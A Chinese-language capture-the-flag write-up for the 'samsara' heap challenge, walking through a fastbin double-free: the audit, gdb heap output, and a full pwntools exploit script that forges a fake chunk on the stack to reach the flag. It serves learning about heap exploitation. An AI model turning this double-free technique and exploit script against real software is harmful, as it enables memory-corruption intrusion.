总算遇到一个简单的堆知识点了 fastbin的double free
审计
源码我就不放了 很简洁的菜单 总共6个功能 其中要通过前5个来构造堆结构 从而满足第6个功能 拿到flag
1 2 3 4 5 6
| case 2u: puts("Index:"); _isoc99_scanf("%d", &v5); free(index[v5]); puts("Eaten."); continue;
|
而此题与之前做的堆题不一样 此题并没有堆溢出点 无法off_by_one 纯粹是利用free时没有清空对应的堆指针 从而引发的fastbin attack
构造
对于double free的话 需要构造的内容很少 只需要构造出一个循环的fastbin链表即可
1 2 3 4 5 6 7 8 9 10
| Create() Create()
Dele(0) Dele(1) Dele(0)
arena ---> chunk0 ---> chunk1 ---> chunk0 gdb-peda$ heapinfo (0x20) fastbin[0]: 0x560c37e10010 --> 0x560c37e10030 --> 0x560c37e10010 (overlap chunk with 0x560c37e10010(freed) )
|
可以看到我们的chunk0是0x560c37e10010 chunk1是0x560c37e10030 peda也检测到了double free 接下来要做的是修改chunk0中的fd指针 将其定位到v8附近
1 2 3 4 5 6 7 8 9 10 11 12
| Create() Create()
Del(0) Del(1) Del(0)
Create() pause()
gdb-peda$ heapinfo (0x20) fastbin[0]: 0x55f313e19030 --> 0x55f313e19010 --> 0x55f313e19030 (overlap chunk with 0x55f313e19030(freed) )
|
对于目前的fastbin而言 是循环链表 我们进行malloc的话可以申请到相应的堆并修改其中内容 但是这个链表却不会被打破 他只会改变一下顺序 并且对于分配的chunk而言
1 2 3
| gdb-peda$ x/8gx 0x000055f3132d6000 + 0x202040 0x55f3134d8040: 0x000055f313e19020 0x000055f313e19040 0x55f3134d8050: 0x000055f313e19020 0x0000000000000000
|
上方的code代表的是index存储的chunk地址 可以看到与fastbin相对应的地址 下一步需要做的就是打破循环链栈 链接fake chunk
1 2 3 4 5 6 7 8 9
| leak_addr = 0 Show() leak_addr = sh.recv()[:14] log.success('v7_addr :' + leak_addr) v7_addr = int(leak_addr, 16) v8_addr = hex(v7_addr + 0x8) log.success('v8_addr :' + str(v8_addr))
Edit(2, (v7_addr - 0x8))
|
为啥是v7_addr - 0x8捏 我们链接的fake_chunk地址应该是chunk的头部 或者说起始地址 他相比v8_addr来说 低了0x10 而v7_addr又比v8_addr低了0x8 于是现在的链表就应该是这样的
1 2 3 4
| #多次调试 地址会有所偏差 chunk1 ---> chunk0 ---> fake_chunk gdb-peda$ heapinfo (0x20) fastbin[0]: 0x55d4aea56030 --> 0x55d4aea56010 --> 0x7ffca173ade0 --> 0x0
|
可以说在栈上伪造一个堆空间 虽然这个堆空间用heap/praseheap查不到(因为地址所限) 但是因为他链接在了fastbin的链表里 我们可以通过malloc来获取并修改他 现在还有3个chunk Create然后Edit 最后Commit即可
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| from pwn import * sh = process('./metasequoia_2020_samsara') #sh = remote('node4.buuoj.cn', 29825) context.log_level = 'debug'
def Create(): sh.sendline('1') sh.recvuntil('Captured.')
def Del(idx): sh.sendline('2') sh.recvuntil('Index:') sh.sendline(str(idx)) sh.recvuntil('Eaten')
def Edit(idx, payload): sh.sendline('3') sh.recvuntil('Index:\\n') sh.sendline(str(idx)) sh.recvuntil('Ingredient:\\n') sh.sendline(str(payload))
def Show(): sh.sendline('4') sh.recvuntil('Your lair is at: ')
def Move(size): sh.sendline('5') sh.recvuntil('Which kingdom?\\n') sh.sendline(str(size))
gdb.attach(sh)
#sleep(3) Create() Create()
Del(0) Del(1) Del(0)
leak_addr = 0 Show() leak_addr = sh.recv()[:14] log.success('v7_addr :' + leak_addr) v7_addr = int(leak_addr, 16) v8_addr = hex(v7_addr + 0x8) log.success('v8_addr :' + str(v8_addr))
Move(0x20)
Create() Edit(2, (v7_addr - 0x8))
Create() Create() Create() Edit(5, str(3735928559)) sh.sendline('6') sh.interactive()
|